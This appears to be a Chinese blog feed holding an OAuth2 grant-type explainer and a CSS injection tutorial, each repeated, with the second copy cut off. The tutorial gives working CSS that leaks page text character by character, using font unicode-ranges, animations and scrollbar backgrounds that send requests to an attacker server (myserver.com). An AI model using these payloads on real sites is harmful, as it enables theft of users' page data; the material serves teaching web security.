OAuth 2 適用於第三方開放授權的協議,這個協議規範了使用者如果通過第三方授權來讓應用程式可以取得使用者的資訊或是代表使用者採取某些行動。
為甚麼會想要寫這個研究主題? 主要是因為這一年來的專案都要用到第三方登入,第三方登入應該是 OAuth2 最常使用到的場合了呢~ 既然這麼常用也就順便看一下它的規範以及為甚麼會有這樣的演化吧!
圖 1. 2023文博會 登入頁面 |
在最遠古的時候,使用者需要先向應用程式出示帳號以及密碼,應用程式接著再拿著這組帳號密碼代表使用者採取行動。
各位有想到那些問題呢? 可以先用筆寫下來再越過防雷線來看~
我是防雷線
下面是筆者給出的答案:
仔細思考可以發現問題在於應用程式一但拿到使用者的帳密根本就等於是使用者本人了,如果是這樣的話也就是說不能直接把帳密交給應用程式,那該怎麼解呢?
圖 2. 在 OAuth 之前的第三方授權流程 |
聰明的人們決定引入一個中間層,這個中間層可以接收使用者的帳密,也可以讓應用程式在上面註冊並明訂要以使用者的名義做的事情以及範圍。
如此一來,應用程式不僅不用直接拿使用者的帳密,而且也可以定義清楚應用程式想要存取的權限範圍。
下面我們來看看在 OAuth2 協議裡面的各個行動者吧!
其實最重要的就是 Authorization Server 了,他是應用程式還有使用者的裁判(?,由它來統一進行驗證/發放
授權。
下友會介紹四個 OAuth2 的認證模式,但不管是哪個模式,都有 Authorization Server 的存在~
這是一種最安全的方式。應用程式不直接向使用者要求許可,而是透過授權伺服器轉址的方式在轉回應用程式時夾帶授權碼給應用程式,應用程式再使用授權碼取得存取令牌,用授權令牌可以獲取受保護的資料。
這個流程讀者們可能會覺得拿 AuthorizationCode 換 AccessToken 怎麼這麼雞肋,為甚麼不直接給 AccessToken 就好,不過再仔細看看流程就會知道 AuthorizationCode 是在重新導向的時候夾帶的,如果是 AccessToken 被截獲就一切都拜拜了。
再注意到最後一個流程,Client 最後將 AuthrizationCode 還要再加上 secret 證明自己才可以拿到 AccessToken,這一步驟通常是在後端進行,所以不僅 AccessToken 不會外流而且 secret 也只要一直儲存在後端即可。
第二種認證流程就差在這裡,差別在於要不要拿 AuthorizationCode 換 AccessToken。
承上面所說的,隱含授權模式就差在要不要走 AuthorizationCode 這一步,如果不走的話就是直接在重新導向的時候把 AccessToken 帶回來囉!? 這樣好像就沒後端甚麼事了耶!
那通常是甚麼場景會用到這種模式呢?
隱含授權模式適用於前端 Web 應用程式,也就是在瀏覽器內執行 JavaScript 的應用程式。這類應用程式會使用 JavaScript 存取伺服器資源(通常是 WebAPI),再更新頁面上的資訊。例如 :
Gmail 會依據使用者點選的收件匣的訊息,更新頁面上顯示的資訊,而不需要整頁重新導向(如果想要在瀏覽器直接拿到 AccessToken 的話)。
可是因為這個流程 AccessToken 存在瀏覽器,外露的風險大,所以在隱含授權模式裡面就不可以拿 RefreshToken 去更新 AccessToken。
疑,這個流程怎麼跟最古老的那個模式好像阿! 的確他們有 8 成都一樣,但差別還是在應用程式必須在一開始向授權伺服器註冊自己,以及最後仍必須向授權伺服器取得 AccessToken 才能獲取資源。
不過這樣子古早古早的缺陷他不是都有嗎? 沒錯! 因為使用者在輸入帳號密碼時並不是在第三方的頁面,也就是說他可能無法知道或決定自己的那些資源將可以被取用,除此之外,也有帳密被應用程式存起來的風險。
所以說,到底是甚麼情況適合這種授權模式呢? 通常會用在使用者高度依賴的應用程式,例如 作業系統內建的應用程式或是官方應用程式。
最後這東西看起來流程怎麼這麼簡易呢!? 因為其實這個情況是應用程式本身就是使用者的情況! 應用程式通常屬於後端應用沒有前端參與。
下一篇會用寄信系統的案例介紹 AuthorizationCode Grant Flow (授權碼模式) 的實作,希望各位讀者可以在透過實際的案例對 OAuth 的流程以及應用場景有更高的掌握。
]]>OAuth 2 適用於第三方開放授權的協議,這個協議規範了使用者如果通過第三方授權來讓應用程式可以取得使用者的資訊或是代表使用者採取某些行動。
為甚麼會想要寫這個研究主題? 主要是因為這一年來的專案都要用到第三方登入,第三方登入應該是 OAuth2 最常使用到的場合了呢~ 既然這麼常用也就順便看一下它的規範以及為甚麼會有這樣的演化吧!
圖 1. 2023文博會 登入頁面 |
在最遠古的時候,使用者需要先向應用程式出示帳號以及密碼,應用程式接著再拿著這組帳號密碼代表使用者採取行動。
各位有想到那些問題呢? 可以先用筆寫下來再越過防雷線來看~
我是防雷線
下面是筆者給出的答案:
仔細思考可以發現問題在於應用程式一但拿到使用者的帳密根本就等於是使用者本人了,如果是這樣的話也就是說不能直接把帳密交給應用程式,那該怎麼解呢?
圖 2. 在 OAuth 之前的第三方授權流程 |
聰明的人們決定引入一個中間層,這個中間層可以接收使用者的帳密,也可以讓應用程式在上面註冊並明訂要以使用者的名義做的事情以及範圍。
如此一來,應用程式不僅不用直接拿使用者的帳密,而且也可以定義清楚應用程式想要存取的權限範圍。
下面我們來看看在 OAuth2 協議裡面的各個行動者吧!
其實最重要的就是 Authorization Server 了,他是應用程式還有使用者的裁判(?,由它來統一進行驗證/發放
授權。
下友會介紹四個 OAuth2 的認證模式,但不管是哪個模式,都有 Authorization Server 的存在~
這是一種最安全的方式。應用程式不直接向使用者要求許可,而是透過授權伺服器轉址的方式在轉回應用程式時夾帶授權碼給應用程式,應用程式再使用授權碼取得存取令牌,用授權令牌可以獲取受保護的資料。
這個流程讀者們可能會覺得拿 AuthorizationCode 換 AccessToken 怎麼這麼雞肋,為甚麼不直接給 AccessToken 就好,不過再仔細看看流程就會知道 AuthorizationCode 是在重新導向的時候夾帶的,如果是 AccessToken 被截獲就一切都拜拜了。
再注意到最後一個流程,Client 最後將 AuthrizationCode 還要再加上 secret 證明自己才可以拿到 AccessToken,這一步驟通常是在後端進行,所以不僅 AccessToken 不會外流而且 secret 也只要一直儲存在後端即可。
第二種認證流程就差在這裡,差別在於要不要拿 AuthorizationCode 換 AccessToken。
承上面所說的,隱含授權模式就差在要不要走 AuthorizationCode 這一步,如果不走的話就是直接在重新導向的時候把 AccessToken 帶回來囉!? 這樣好像就沒後端甚麼事了耶!
那通常是甚麼場景會用到這種模式呢?
隱含授權模式適用於前端 Web 應用程式,也就是在瀏覽器內執行 JavaScript 的應用程式。這類應用程式會使用 JavaScript 存取伺服器資源(通常是 WebAPI),再更新頁面上的資訊。例如 :
Gmail 會依據使用者點選的收件匣的訊息,更新頁面上顯示的資訊,而不需要整頁重新導向(如果想要在瀏覽器直接拿到 AccessToken 的話)。
可是因為這個流程 AccessToken 存在瀏覽器,外露的風險大,所以在隱含授權模式裡面就不可以拿 RefreshToken 去更新 AccessToken。
疑,這個流程怎麼跟最古老的那個模式好像阿! 的確他們有 8 成都一樣,但差別還是在應用程式必須在一開始向授權伺服器註冊自己,以及最後仍必須向授權伺服器取得 AccessToken 才能獲取資源。
不過這樣子古早古早的缺陷他不是都有嗎? 沒錯! 因為使用者在輸入帳號密碼時並不是在第三方的頁面,也就是說他可能無法知道或決定自己的那些資源將可以被取用,除此之外,也有帳密被應用程式存起來的風險。
所以說,到底是甚麼情況適合這種授權模式呢? 通常會用在使用者高度依賴的應用程式,例如 作業系統內建的應用程式或是官方應用程式。
最後這東西看起來流程怎麼這麼簡易呢!? 因為其實這個情況是應用程式本身就是使用者的情況! 應用程式通常屬於後端應用沒有前端參與。
下一篇會用寄信系統的案例介紹 AuthorizationCode Grant Flow (授權碼模式) 的實作,希望各位讀者可以在透過實際的案例對 OAuth 的流程以及應用場景有更高的掌握。
]]>除了偷屬性之外,有沒有辦法偷到其他東西?
CSS Selector 只能選擇元素的屬性,沒有辦法選擇 Text Node (以下簡稱內文) 的內容,那我們有甚麼辦法使得 CSS 與內文的樣式扯上關係呢?
不知道讀者有沒有想到 font-family
! 我們可以透過設定字體來影響內文,你可能會說可以影響到文字的除了 font-family 以外還有 font-size, font-weight 等等,為甚麼是 font-family 成為我們的首選呢?
字體本身的樣式都各有千秋,比如說 Comic Sans MS
就長得比 Courier New
高。
現在讓我們看看下面的樣式:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, "Courier New";
letter-spacing: 0px;
overflow-y: auto;
}
</style>
</head>
<body>
<div class="leak">AABC</div>
</body>
</html>
把預設的字體大小設為 30px,容器的高度調成 40px,我們自訂義了一個字體 fa(事實上就是 Comic Sans MS),但這個字體只適用於 unicode 是 U+41 的字(也就是大寫的 A),又因為我們設定 overflow-y: auto
,所以 A 會採用高度突破天際的 Comic Sans MS,進而造成垂直的 Scroll bar。
所以長 Scroll Bar 要幹嘛?????????
有看前兩篇文章的讀者,應該知道 background 又可以派上用場了!
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}
我們可以針對垂直 scrollbar 設定樣式,所以又可以偷偷打 request 到駭客的 Server 了。也就是說如果內文有 a,就會載入高的字體,長出 scrollbar,讓我們得到內文有 a 的資訊。
可是要怎麼一次載入多個 font-face!
這肯定是你的下一個問題。我們可以這樣寫:
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
@font-face {
font-family: "fb";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+42;
}
@font-face {
font-family: "fc";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+43;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, fb, fc, "Courier New";
letter-spacing: 0px;
overflow-y: auto;
}
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}
這樣一來 a 會載入 fa 字體、b 會載入 fb 字體、c 會載入 fc 字體,但問題是我哪知道是誰撐高了 div? 也就是說我的 background 的 request 要帶 a, b 還是 c?
有沒有辦法照順序一個字一個字載入?
這邊開始會比較黑客一點,我們可以讓第一行第一次只有一個字(限制寬度),其他字先移到第一行以外,接著我們將字體依序載入,同時 backgroud 的 url 也依序改變,這樣稱作一輪。
第二輪的一開始再將寬度調大一些讓第二字可以進入,這時一樣將字體依序載入,同時 backgroud 的 url 也依序改變。
這邊先上 CSS:
/* 先把所有字元都載入 */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
/* 針對要竊取的地方要做的樣式 */
div.leak {
overflow-y: auto; /* 如果高度超過會長 scrollbar */
overflow-x: hidden; /* 怕有甚麼怪東西跑進同一行,水平超過的不顯示樣式 */
height: 40px; /* 高度限制 40px */
font-size: 0px; /* 字體大小設為 0, 使得第一行以外的字都不吃樣式 */
letter-spacing: 0px; /* 字字間不要有間距方便計算 */
word-break: break-all; /* 即便是切斷單字也要斷行 */
font-family: rest; /* 預設字體 Courier New */
background: grey;
width: 0px; /* 一開始的寬度設為 0 */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: 寬度每長胖一次(2 秒),就換一輪 font-family(2 秒) */
animation-iteration-count: 1, infinite; /* 高度從 0 ~ 最胖只要一輪, font-family 可以一輪一輪一直重複 */
}
/* 針對第一行要做的樣式 */
div.leak::first-line{
font-size: 30px; /* 預設字體大小 30px */
text-transform: uppercase;
}
/* 一輪 font-family */
@keyframes trychar {
0% { font-family: rest; } /* 因為要等寬度變胖,所以不馬上套用新的字體 */
5% { font-family: has_A, rest; --leak: url(?a); } /* 變數 --leak = url(?a) */
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* 將寬度慢慢增大,每一次多容納一個字 */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* 垂直 scrollbar 的 background 向 --leak 變數要 request */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
總之呢最後的效果就像這樣子 (如果要偷的內文是 ABC
):
它的缺點不難看見,那就是重複的字不會再發 request ,所以我們只知道不重複的字的順序。
在進入究極大魔王之前,讀者需要知道甚麼是 Ligature (連字),在一些字體裡面有一些連字會用特殊的方式顯示,像是 fi
:
假設我們要偷的內文是 "ABC"
,那麼我們可以先依序載入 "A
、"B
、"C
... 的字體,所以"A
會成功被載入,我們故意將這組連字設的很長,讓橫向的 scroll bar 長出來,此時 Server 可以收到 background 的 request 得知連字 "A
。
Server 端要如何製作字體請參考這裡。
接著 Server 發 API 修改 CSS (請參考上篇,依序載入 "AA
、"AB
、"AC
... 的字體,所以"AB
會成功被載入,我們故意將這組連字設的很長,讓橫向的 scroll bar 長出來,此時 Server 可以收到 background 的 request 得知連字 "AB
。
底下是一輪的 CSS 的樣式:
/* 先把所有字元都載入 */
@font-face{font-family:has_"A;src:url('https://myserver.com/font?query="A')}
@font-face{font-family:has_"B;src:url('https://myserver.com/font?query="B')}
@font-face{font-family:has_"C;src:url('https://myserver.com/font?query="C')}
@font-face{font-family:has_"D;src:url('https://myserver.com/font?query="D')}
@font-face{font-family:has_"E;src:url('https://myserver.com/font?query="E')}
@font-face{font-family:has_"F;src:url('https://myserver.com/font?query="F')}
@font-face{font-family:has_"G;src:url('https://myserver.com/font?query="G')}
@font-face{font-family:has_"H;src:url('https://myserver.com/font?query="H')}
@font-face{font-family:has_"I;src:url('https://myserver.com/font?query="I')}
@font-face{font-family:has_"J;src:url('https://myserver.com/font?query="J')}
@font-face{font-family:has_"K;src:url('https://myserver.com/font?query="K')}
@font-face{font-family:has_"L;src:url('https://myserver.com/font?query="L')}
@font-face{font-family:has_"M;src:url('https://myserver.com/font?query="M')}
@font-face{font-family:has_"N;src:url('https://myserver.com/font?query="N')}
@font-face{font-family:has_"O;src:url('https://myserver.com/font?query="O')}
@font-face{font-family:has_"P;src:url('https://myserver.com/font?query="P')}
@font-face{font-family:has_"Q;src:url('https://myserver.com/font?query="Q')}
@font-face{font-family:has_"R;src:url('https://myserver.com/font?query="R')}
@font-face{font-family:has_"S;src:url('https://myserver.com/font?query="S')}
/* 針對要竊取的地方要做的樣式 */
div.leak {
overflow-x: auto; /* 如果長度超過會長 scrollbar */
whitespace: nowrap; /* 不要折行 */
font-family: rest; /* 預設字體 Courier New */
width: 500px; /* 寬度設為 500px */
animation: trychar step-end 2s 0s;
animation-iteration-count: 1
}
/* 一輪 font-family */
@keyframes trychar {
5% { font-family: has_"A; --leak: url(?a); } /* 變數 --leak = url(?a)
10% { font-family: has_"B; --leak: url(?b); }
15% { font-family: has_"C; --leak: url(?c); }
20% { font-family: has_"D; --leak: url(?d); }
25% { font-family: has_"E; --leak: url(?e); }
30% { font-family: has_"F; --leak: url(?f); }
35% { font-family: has_"G; --leak: url(?g); }
40% { font-family: has_"H; --leak: url(?h); }
45% { font-family: has_"I; --leak: url(?i); }
50% { font-family: has_"J; --leak: url(?j); }
55% { font-family: has_"K; --leak: url(?k); }
60% { font-family: has_"L; --leak: url(?l); }
65% { font-family: has_"M; --leak: url(?m); }
70% { font-family: has_"N; --leak: url(?n); }
75% { font-family: has_"O; --leak: url(?o); }
80% { font-family: has_"P; --leak: url(?p); }
85% { font-family: has_"Q; --leak: url(?q); }
90% { font-family: has_"R; --leak: url(?r); }
95% { font-family: has_"S; --leak: url(?s); }
}
div::-webkit-scrollbar {
background: blue;
}
/* 水平 scrollbar 的 background 向 --leak 變數要 request */
div::-webkit-scrollbar:horizontal {
background: blue var(--leak);
}
看了三篇的 CSS Injection,相信讀者都累了,當膩了駭客讓我們思考如何防禦做個收尾吧!
筆者原本想寫 WebRTC 的系列的,但一不小心聽到 CSS-Injection 新穎的攻擊方式便忍不住下海寫了這系列XD
不知道 WebRTC 何年何月會產出呢! 且讓子彈飛一會兒吧!
]]>除了偷屬性之外,有沒有辦法偷到其他東西?
CSS Selector 只能選擇元素的屬性,沒有辦法選擇 Text Node (以下簡稱內文) 的內容,那我們有甚麼辦法使得 CSS 與內文的樣式扯上關係呢?
不知道讀者有沒有想到 font-family
! 我們可以透過設定字體來影響內文,你可能會說可以影響到文字的除了 font-family 以外還有 font-size, font-weight 等等,為甚麼是 font-family 成為我們的首選呢?
字體本身的樣式都各有千秋,比如說 Comic Sans MS
就長得比 Courier New
高。
現在讓我們看看下面的樣式:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, "Courier New";
letter-spacing: 0px;
overflow-y: auto;
}
</style>
</head>
<body>
<div class="leak">AABC</div>
</body>
</html>
把預設的字體大小設為 30px,容器的高度調成 40px,我們自訂義了一個字體 fa(事實上就是 Comic Sans MS),但這個字體只適用於 unicode 是 U+41 的字(也就是大寫的 A),又因為我們設定 overflow-y: auto
,所以 A 會採用高度突破天際的 Comic Sans MS,進而造成垂直的 Scroll bar。
所以長 Scroll Bar 要幹嘛?????????
有看前兩篇文章的讀者,應該知道 background 又可以派上用場了!
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}
我們可以針對垂直 scrollbar 設定樣式,所以又可以偷偷打 request 到駭客的 Server 了。也就是說如果內文有 a,就會載入高的字體,長出 scrollbar,讓我們得到內文有 a 的資訊。
可是要怎麼一次載入多個 font-face!
這肯定是你的下一個問題。我們可以這樣寫:
@font-face {
font-family: "fa";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+41;
}
@font-face {
font-family: "fb";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+42;
}
@font-face {
font-family: "fc";
src:local('Comic Sans MS');
font-style:monospace;
unicode-range: U+43;
}
div {
font-size: 30px;
height: 40px;
width: 100px;
font-family: fa, fb, fc, "Courier New";
letter-spacing: 0px;
overflow-y: auto;
}
div::-webkit-scrollbar:vertical {
background: url(https://myserver.com?q=a);
}
這樣一來 a 會載入 fa 字體、b 會載入 fb 字體、c 會載入 fc 字體,但問題是我哪知道是誰撐高了 div? 也就是說我的 background 的 request 要帶 a, b 還是 c?
有沒有辦法照順序一個字一個字載入?
這邊開始會比較黑客一點,我們可以讓第一行第一次只有一個字(限制寬度),其他字先移到第一行以外,接著我們將字體依序載入,同時 backgroud 的 url 也依序改變,這樣稱作一輪。
第二輪的一開始再將寬度調大一些讓第二字可以進入,這時一樣將字體依序載入,同時 backgroud 的 url 也依序改變。
這邊先上 CSS:
/* 先把所有字元都載入 */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
/* 針對要竊取的地方要做的樣式 */
div.leak {
overflow-y: auto; /* 如果高度超過會長 scrollbar */
overflow-x: hidden; /* 怕有甚麼怪東西跑進同一行,水平超過的不顯示樣式 */
height: 40px; /* 高度限制 40px */
font-size: 0px; /* 字體大小設為 0, 使得第一行以外的字都不吃樣式 */
letter-spacing: 0px; /* 字字間不要有間距方便計算 */
word-break: break-all; /* 即便是切斷單字也要斷行 */
font-family: rest; /* 預設字體 Courier New */
background: grey;
width: 0px; /* 一開始的寬度設為 0 */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: 寬度每長胖一次(2 秒),就換一輪 font-family(2 秒) */
animation-iteration-count: 1, infinite; /* 高度從 0 ~ 最胖只要一輪, font-family 可以一輪一輪一直重複 */
}
/* 針對第一行要做的樣式 */
div.leak::first-line{
font-size: 30px; /* 預設字體大小 30px */
text-transform: uppercase;
}
/* 一輪 font-family */
@keyframes trychar {
0% { font-family: rest; } /* 因為要等寬度變胖,所以不馬上套用新的字體 */
5% { font-family: has_A, rest; --leak: url(?a); } /* 變數 --leak = url(?a) */
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* 將寬度慢慢增大,每一次多容納一個字 */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* 垂直 scrollbar 的 background 向 --leak 變數要 request */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
總之呢最後的效果就像這樣子 (如果要偷的內文是 ABC
):
它的缺點不難看見,那就是重複的字不會再發 request ,所以我們只知道不重複的字的順序。
在進入究極大魔王之前,讀者需要知道甚麼是 Ligature (連字),在一些字體裡面有一些連字會用特殊的方式顯示,像是 fi
:
假設我們要偷的內文是 "ABC"
,那麼我們可以先依序載入 "A
、"B
